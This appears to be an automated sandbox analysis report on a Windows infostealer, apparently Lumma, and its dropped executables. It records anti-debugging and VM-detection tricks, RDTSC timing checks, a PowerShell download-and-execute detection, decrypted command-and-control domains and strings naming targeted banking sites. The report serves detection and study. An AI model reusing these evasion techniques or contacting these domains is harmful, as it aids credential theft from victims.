Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE1362 second address: CE1387 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A396h 0x00000007 jl 00007F850CC4A386h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f popad 0x00000010 push edi 0x00000011 push eax 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE4AA5 second address: CE4AA9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE4B63 second address: CE4BA5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A396h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b jmp 00007F850CC4A396h 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 pushad 0x00000015 jp 00007F850CC4A388h 0x0000001b pushad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE4BA5 second address: CE4BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 popad 0x00000008 pop eax 0x00000009 mov esi, edx 0x0000000b push A2AE1726h 0x00000010 je 00007F850D0E60E0h 0x00000016 push eax 0x00000017 push edx 0x00000018 push esi 0x00000019 pop esi 0x0000001a rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE4F1E second address: CE4F22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE4FED second address: CE4FF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5896 second address: CE589A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE589A second address: CE589E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE589E second address: CE58C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov dword ptr [esp], ebx 0x0000000a jp 00007F850CC4A38Bh 0x00000010 nop 0x00000011 push eax 0x00000012 push edx 0x00000013 jmp 00007F850CC4A38Bh 0x00000018 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE58C1 second address: CE58E0 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F850D0E60DCh 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jnl 00007F850D0E60E8h 0x00000011 push eax 0x00000012 push edx 0x00000013 jp 00007F850D0E60D6h 0x00000019 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE58E0 second address: CE58E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5959 second address: CE5978 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c je 00007F850D0E60D8h 0x00000012 push edi 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5D55 second address: CE5D59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5D59 second address: CE5D70 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 pop eax 0x00000009 jbe 00007F850D0E60D6h 0x0000000f popad 0x00000010 popad 0x00000011 push eax 0x00000012 push eax 0x00000013 push eax 0x00000014 push edx 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5D70 second address: CE5D74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5DDF second address: CE5DE4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5DE4 second address: CE5E20 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push edx 0x0000000e call 00007F850CC4A388h 0x00000013 pop edx 0x00000014 mov dword ptr [esp+04h], edx 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc edx 0x00000021 push edx 0x00000022 ret 0x00000023 pop edx 0x00000024 ret 0x00000025 mov esi, dword ptr [ebp+122D2D15h] 0x0000002b xchg eax, ebx 0x0000002c push eax 0x0000002d push edx 0x0000002e push edi 0x0000002f jo 00007F850CC4A386h 0x00000035 pop edi 0x00000036 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE5E20 second address: CE5E26 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE7E46 second address: CE7E4C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE7E4C second address: CE7E52 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE7E52 second address: CE7E56 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE919C second address: CE91A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE9B49 second address: CE9B4D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE9B4D second address: CE9B53 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE9B53 second address: CE9B65 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F850CC4A388h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE9B65 second address: CE9B7E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850D0E60E1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CE9B7E second address: CE9B82 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CEBC77 second address: CEBC7D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edi 0x00000005 pop edi 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	RDTSC instruction interceptor: First address: CEC9DD second address: CECA58 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F850CC4A394h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jnc 00007F850CC4A394h 0x00000010 nop 0x00000011 sub di, 5024h 0x00000016 push 00000000h 0x00000018 push 00000000h 0x0000001a push edx 0x0000001b call 00007F850CC4A388h 0x00000020 pop edx 0x00000021 mov dword ptr [esp+04h], edx 0x00000025 add dword ptr [esp+04h], 0000001Dh 0x0000002d inc edx 0x0000002e push edx 0x0000002f ret 0x00000030 pop edx 0x00000031 ret 0x00000032 sub esi, dword ptr [ebp+122D1E7Fh] 0x00000038 sub dword ptr [ebp+122D1FF2h], ebx 0x0000003e push 00000000h 0x00000040 or dword ptr [ebp+12444AA1h], esi 0x00000046 mov dword ptr [ebp+122D271Ch], edx 0x0000004c xchg eax, ebx 0x0000004d push eax 0x0000004e push edx 0x0000004f push eax 0x00000050 push edx 0x00000051 push eax 0x00000052 push edx 0x00000053 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Special instruction interceptor: First address: C88D12 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Special instruction interceptor: First address: E597C3 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Special instruction interceptor: First address: B3DE63 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Special instruction interceptor: First address: CD98B4 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Special instruction interceptor: First address: D04E01 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Special instruction interceptor: First address: D723E2 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Special instruction interceptor: First address: F5FD37 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Special instruction interceptor: First address: 1119A87 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Special instruction interceptor: First address: 1101D54 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Special instruction interceptor: First address: 117A89C instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Memory allocated: 48F0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Memory allocated: 4B60000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Memory allocated: 4A70000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Code function: 3_2_00CB2427 rdtsc

3_2_00CB2427

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe TID: 7872	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe TID: 8008	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe TID: 7888	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe TID: 432	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A54000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696494690p
Source: G1YXJMVDF5OIAHQBL77U48.exe, G1YXJMVDF5OIAHQBL77U48.exe, 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1851058613.00000000010D2000.00000080.00000001.01000000.00000009.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000000.1784779210.00000000010CF000.00000080.00000001.01000000.00000009.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: discord.comVMware20,11696494690f
Source: 2jx1O1t486.exe, 00000000.00000003.1522030416.00000000059E0000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: AMC password management pageVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007D9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007E9000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1851058613.00000000010D2000.00000080.00000001.01000000.00000009.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\Wi
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.000000000076E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMwareua@w
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: global block list test formVMware20,11696494690
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.000000000076E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1850249772.00000000007B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWH
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: G1YXJMVDF5OIAHQBL77U48.exe, 00000003.00000002.1882491830.0000000000CBC000.00000040.00000001.01000000.00000006.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000000.1784779210.00000000010CF000.00000080.00000001.01000000.00000009.sdmp, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe.0.dr	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: 2jx1O1t486.exe, 00000000.00000003.1521893887.0000000005A4E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\2jx1O1t486.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\2jx1O1t486.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\2jx1O1t486.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Code function: 3_2_00CB2427 rdtsc

3_2_00CB2427

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Code function: 3_2_00B3B80A LdrInitializeThunk,

3_2_00B3B80A

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\G1YXJMVDF5OIAHQBL77U48.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe PID: 5400, type: MEMORYSTR

LummaC encrypted strings found

Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: 2jx1O1t486.exe, 00000000.00000003.1435300413.0000000004EF0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1851393765.0000000001116000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: nu:wProgram Manager
Source: NK8XSYTFAY7E51TMEDPWVKGQXUNL07I.exe, 00000004.00000002.1851393765.0000000001116000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: onu:wProgram Manager
Source: G1YXJMVDF5OIAHQBL77U48.exe, G1YXJMVDF5OIAHQBL77U48.exe, 00000003.00000002.1882813165.0000000000D02000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: [Program Manager

